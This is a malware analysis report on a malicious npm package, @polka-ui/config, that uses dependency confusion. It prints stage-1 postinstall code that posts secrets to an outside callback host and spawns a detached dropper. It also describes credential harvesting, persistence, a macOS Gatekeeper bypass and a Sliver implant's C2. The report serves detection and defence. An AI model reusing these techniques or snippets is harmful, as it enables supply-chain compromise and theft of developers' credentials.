@polka-ui/config is published to the public npm registry while its README tells you to point npm at https://npm.polka-ui.io, so a developer at the impersonated org with a misconfigured .npmrc resolves the public tag first and detonates the postinstall. Its header reads [PoC] Dependency confusion payload — AUTHORIZED TESTING ONLY, but the Russian comments and the real Sliver implant at the end make the label an alibi, not a constraint.
Package metadata
The brand-new scope shipped five versions in under fifty minutes under bcs-bank-complex-ui, a handle foreign to @polka-ui that reads as a reused Russian-bank ops alias.
| Field | Value |
|---|---|
| Maintainer | bcs-bank-complex-ui <bcs-bank-complex-ui@proton.me> |
| Author (declared) | Polka-Ui Platform Engineering <platform@polka-ui.io> |
| Versions published | 9.9.9, 9.9.10, 9.9.11, 9.9.12, 9.9.13 on 2026-05-27 18:28:43Z–19:16:25Z; latest = 9.9.13 |
| Repository / homepage / bugs | github.polka-ui.io / docs.polka-ui.io / jira.polka-ui.io |
| Scripts | postinstall: node scripts/postinstall.js |
| Provenance | none (registry signature SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U only) |
Stage 1 — postinstall.js: recon + dropper
scripts/postinstall.js is the only executable in the tarball. After a three-second sleep — labelled обходит npm audit sandbox таймауты in the source — it sweeps the host and POSTs the result as JSON to oob.moika.tech/report. In parallel a platform-detected stage-2 is written to $TMPDIR/._polka-ui_init.{sh,bat} and reparented through a nohup-detached shell so it outlives the install.
const CALLBACK_URL = process.env.DEP_CONFUSION_URL || 'https://oob.moika.tech/report';
const PAYLOAD_BASE = process.env.DEP_CONFUSION_PAYLOAD || 'https://oob.moika.tech/payload';
// Задержка 30 сек — обходит npm audit sandbox таймауты
await new Promise(r => setTimeout(r, 3000));
const child = require('child_process').spawn('/bin/sh', ['-c',
`nohup /bin/sh "${tmp}" >/dev/null 2>&1 &`], { detached: true, stdio: 'ignore' });
child.unref();
| Collected | Source |
|---|---|
npm_token, npm_config_authtoken, node_auth_token, npm_config__auth |
process.env lowercase-substring match |
aws_access_key_id, aws_secret_access_key, aws_session_token |
process.env |
github_token, github_actions, artifactory_token, nexus_token, ci |
process.env |
~/.npmrc, /etc/npmrc, ./.npmrc, ../.npmrc (first 15 lines each) |
filesystem |
parent package.json (name, scripts, deps, repo, author) |
../../package.json |
.git/config + git log --oneline -10 |
../../.git |
../../.env, /etc/resolv.conf, /etc/hosts, ip a / ifconfig |
filesystem + shell |
Stage 2 — platform shell stealer
Stage 2 is three platform scripts — 16 KB Linux, 11 KB macOS, 7 KB Windows. Each sweeps credentials into $HOME/dep_confusion_stage2_<os>.txt, then downloads stage-3 and installs persistence. Windows tries seven launch methods until one sticks:
startStart-ProcessWin32_Processrundll32mshtawscriptnode -e
| OS | Targets harvested |
|---|---|
| Linux | /etc/passwd, sudo -l, SUID, id_* + authorized_keys + ssh_config, .env*, *.{json,yaml,toml,ini,conf,properties} greps for api_key/secret/token/password, ~/.aws/{credentials,config}, EC2 IMDS, application_default_credentials.json, Azure accessTokens.json, ~/.docker/config.json, ~/.kube/config, .npmrc, .pypirc, composer auth.json, Maven settings.xml, credentials.tfrc.json, *.tfvars, .vault-token, *.{pem,key,p12,pfx,jks}, .git-credentials, .netrc, .{bash,zsh}_history, /var/run/secrets/kubernetes.io |
| macOS | Same target set as Linux, plus xattr -cr + ad-hoc codesign --force --sign - on the stage-3 binary (Gatekeeper bypass) |
| Windows | cmdkey /list, %USERPROFILE%\.{ssh,gitconfig,aws,docker,npmrc}, env greps for token/secret/key/aws/github/npm/artifactory/nexus |
Stage 3 — garble-obfuscated Sliver implant
Stage 3 is a Go binary built once per platform — 26 MB ELF, 24 MB Mach-O arm64, 36 MB Windows PE — all garble-obfuscated, statically linked, stripped, and hardcoded to the same C2. The Windows build names the family: ten PEs embedded in .rdata, indexed by Sliver's exact resource layout, carry PDBs from rprichard's upstream winpty project that Sliver bundles for a real interactive-shell PTY. One operator runs both ends — UFO Hosting (AS33993, RU) for the implant C2, reg.ru's moika.tech for stage-1/2 delivery — and the chain is optimized for what's already on a developer laptop or CI runner before the implant ever beacons.
Traits observed
| Trait | What it caught | |
|---|---|---|
objectives/supply-chain/install-hook/scripts/hook-file |
package.json declares "postinstall": "node scripts/postinstall.js" (self-labelled dependency-confusion-npm) |
|
objectives/supply-chain/recon-exfil/pipeline |
JSON POST to https://oob.moika.tech/report carrying env, npmrc, git config, parent .env, ip a, /etc/hosts |
|
objectives/command-and-control/dropper/execution/stealth-spawn |
spawn('/bin/sh', ['-c', 'nohup … &'], { detached:true, stdio:'ignore' }).unref() reparents stage-2 |
|
objectives/command-and-control/dropper/delivery/download-execute |
curl -fsSL / Invoke-WebRequest → chmod +x / PE-magic check → seven-method Windows launch chain |
|
objectives/credential-access/cloud/{container,token} + credential-access/env/harvesting |
system-wide find for id_*, authorized_keys, .env*, *.{pem,key,p12}, ~/.aws/credentials, GCP ADC, Azure tokens, K8s secrets, .vault-token, EC2 IMDS |
|
objectives/command-and-control/remote-command/control |
Classifier matches go-garbled-ssh-c2-backdoor + go-ssh-exec-c2-backdoor on stage-3 symbol shape alone — independent confirmation of the winpty / Sliver fingerprint |
|
objectives/anti-static/obfuscation/tools/garble |
Stage-3 ELF / Mach-O / PE all carry garble-randomized symbols and stripped Go module tables | |
objectives/command-and-control/infrastructure/config + domain/tld |
https://141.98.189.248:32322 hardcoded in all three binaries (UFO Hosting LLC, RU, AS33993) |
|
well-known/tool/sysadmin/console (× 10, embedded) |
Sliver's executables/<arch>/{regular,xp}/winpty(.dll|-agent.exe) resource layout with C:\rprichard\proj\winpty PDBs |
|
micro-behaviors/crypto/symmetric/stream::go-obfuscated-xor-stream |
Multiple garbled packages call XORKeyStream (e.g. jAmp6hOkg3u.(*FeD1DdXQ).XORKeyStream, Q4QTvhbIIRr.(*o8nCXVrS3F).XORKeyStream) — stream-cipher layer alongside the TLS C2 |
|
objectives/persistence/{system/init/boot, login/registry/autostart, system/cron/schedule} |
systemd --user dbus-broker.service, HKCU\…\Run MicrosoftUpdateService, schtasks MicrosoftEdgeUpdateCore, crontab @reboot, Startup folder copy |
|
objectives/evasion/{anti-av/platform/gatekeeper, quarantine-removal/bypass, security-bypass/codesign} |
macOS stage-2 runs xattr -cr + codesign --force --sign - on the stage-3 Mach-O |
|
objectives/evasion/hosts-file/block-security + command-and-control/infrastructure/dns-pin |
Reads /etc/hosts / C:\Windows\System32\drivers\etc\hosts during recon |
|
objectives/evasion/masquerade/debug::pe-stem-differs-from-pdb-stem |
Each embedded winpty PE's filename stem disagrees with its embedded PDB stem — the bundle was renamed after build, not produced from the PDB-named source | |
objectives/supply-chain/metadata-anomaly/package/npm |
Scoped name @polka-ui/config published publicly; license: UNLICENSED; repository.url + bugs.url + homepage all point at non-existent polka-ui.io infra; dist/index.js re-exports a src/index.js not in the tarball |
Indicators
| Type | Value |
|---|---|
| Package | @polka-ui/config@9.9.11 (npm, scoped, public-registry) |
| Tarball SHA-256 | cefab95fdea9a19f1c7f76f589d663b428ea3f4f674210ad6dadc43277c67ed9 (5,255 B) |
Tarball SHA-1 (npm shasum) |
6c164d221d9204d3029bd10c0c9f41e30bba10ac |
scripts/postinstall.js SHA-256 |
f7c6bc732dc276b8b11cda85378e416881f65561f550b903e2ad0ba234b3a9d7 (274 lines) |
| Stage-1 callback | POST https://oob.moika.tech/report (env, npmrc, git, parent .env, network) |
| Stage-2 URLs | https://oob.moika.tech/payload/{linux,mac,win} → 72.56.97.200 (reg.ru, moika.tech) |
| Stage-2 SHA-256 (linux) | d0948dbf94409660ab97eb937a41eb23137dd2414530dcba2b717a4993d797b1 (16,739 B) |
| Stage-2 SHA-256 (macOS) | 6e45f9b81797b39a7a91ba51e0a0ac70a347dc5e4ab13d696bb3b510062525ad (11,270 B) |
| Stage-2 SHA-256 (Windows) | 74e89da49fd481e01a88de51da7eb1d4d31755cec5e9067d2b0f1505b5e6e478 (6,629 B) |
| Stage-3 URLs | https://oob.moika.tech/bins/{linux/linux,mac/macos,win/win} |
| Stage-3 SHA-256 (ELF x86-64) | 80b98bd4b63d5a9cb8623c3e03a4596692a9304f9e82253241c457fccb697989 (26,194,068 B, statically linked, stripped, Go) |
| Stage-3 SHA-256 (Mach-O arm64) | 1fd0c8a7ce279a40e2921177b1fb80d0f5a3d1afe47192cf4e62bb048f388498 (23,694,482 B, ad-hoc signed) |
| Stage-3 SHA-256 (PE x86-64) | c4ca166af92dd73595fdd908511916d0c53c65047886db3fe688c2b5d622588f (35,801,088 B, 9 embedded winpty PEs) |
| Implant C2 | https://141.98.189.248:32322 → UFO Hosting LLC, AS33993, RU (inetnum allocated 2025-12-03) |
| Persistence (Linux) | ~/.config/systemd/user/dbus-broker.service → $HOME/.cache/._kworker; crontab @reboot; ~/.bashrc |
| Persistence (macOS) | $HOME/Library/Application Support/.coreservices/universald (xattr -cr + ad-hoc codesign) |
| Persistence (Windows) | HKCU\…\Run\MicrosoftUpdateService → %APPDATA%\Microsoft\Windows\WinUpdate.exe; schtasks /tn MicrosoftEdgeUpdateCore /sc onlogon; Startup-folder copy |
| Family | Sliver (BishopFox), garble-obfuscated, winpty-bundled |
| Family fingerprints | executables/{386,amd64,arm64}/{regular,xp}/winpty(.dll|-agent.exe) resource paths; C:\rprichard\proj\winpty\src\… + C:\Users\mail\source\winpty\src\… PDBs; permissive Go SSH server (NoClientAuth+PublicKeyCallback); X25519/ChaCha8/ARC4 mix |
| Operator language | Russian inline comments (Задержка 30 сек — обходит npm audit sandbox таймауты, Скачать, Скрыть консоль) |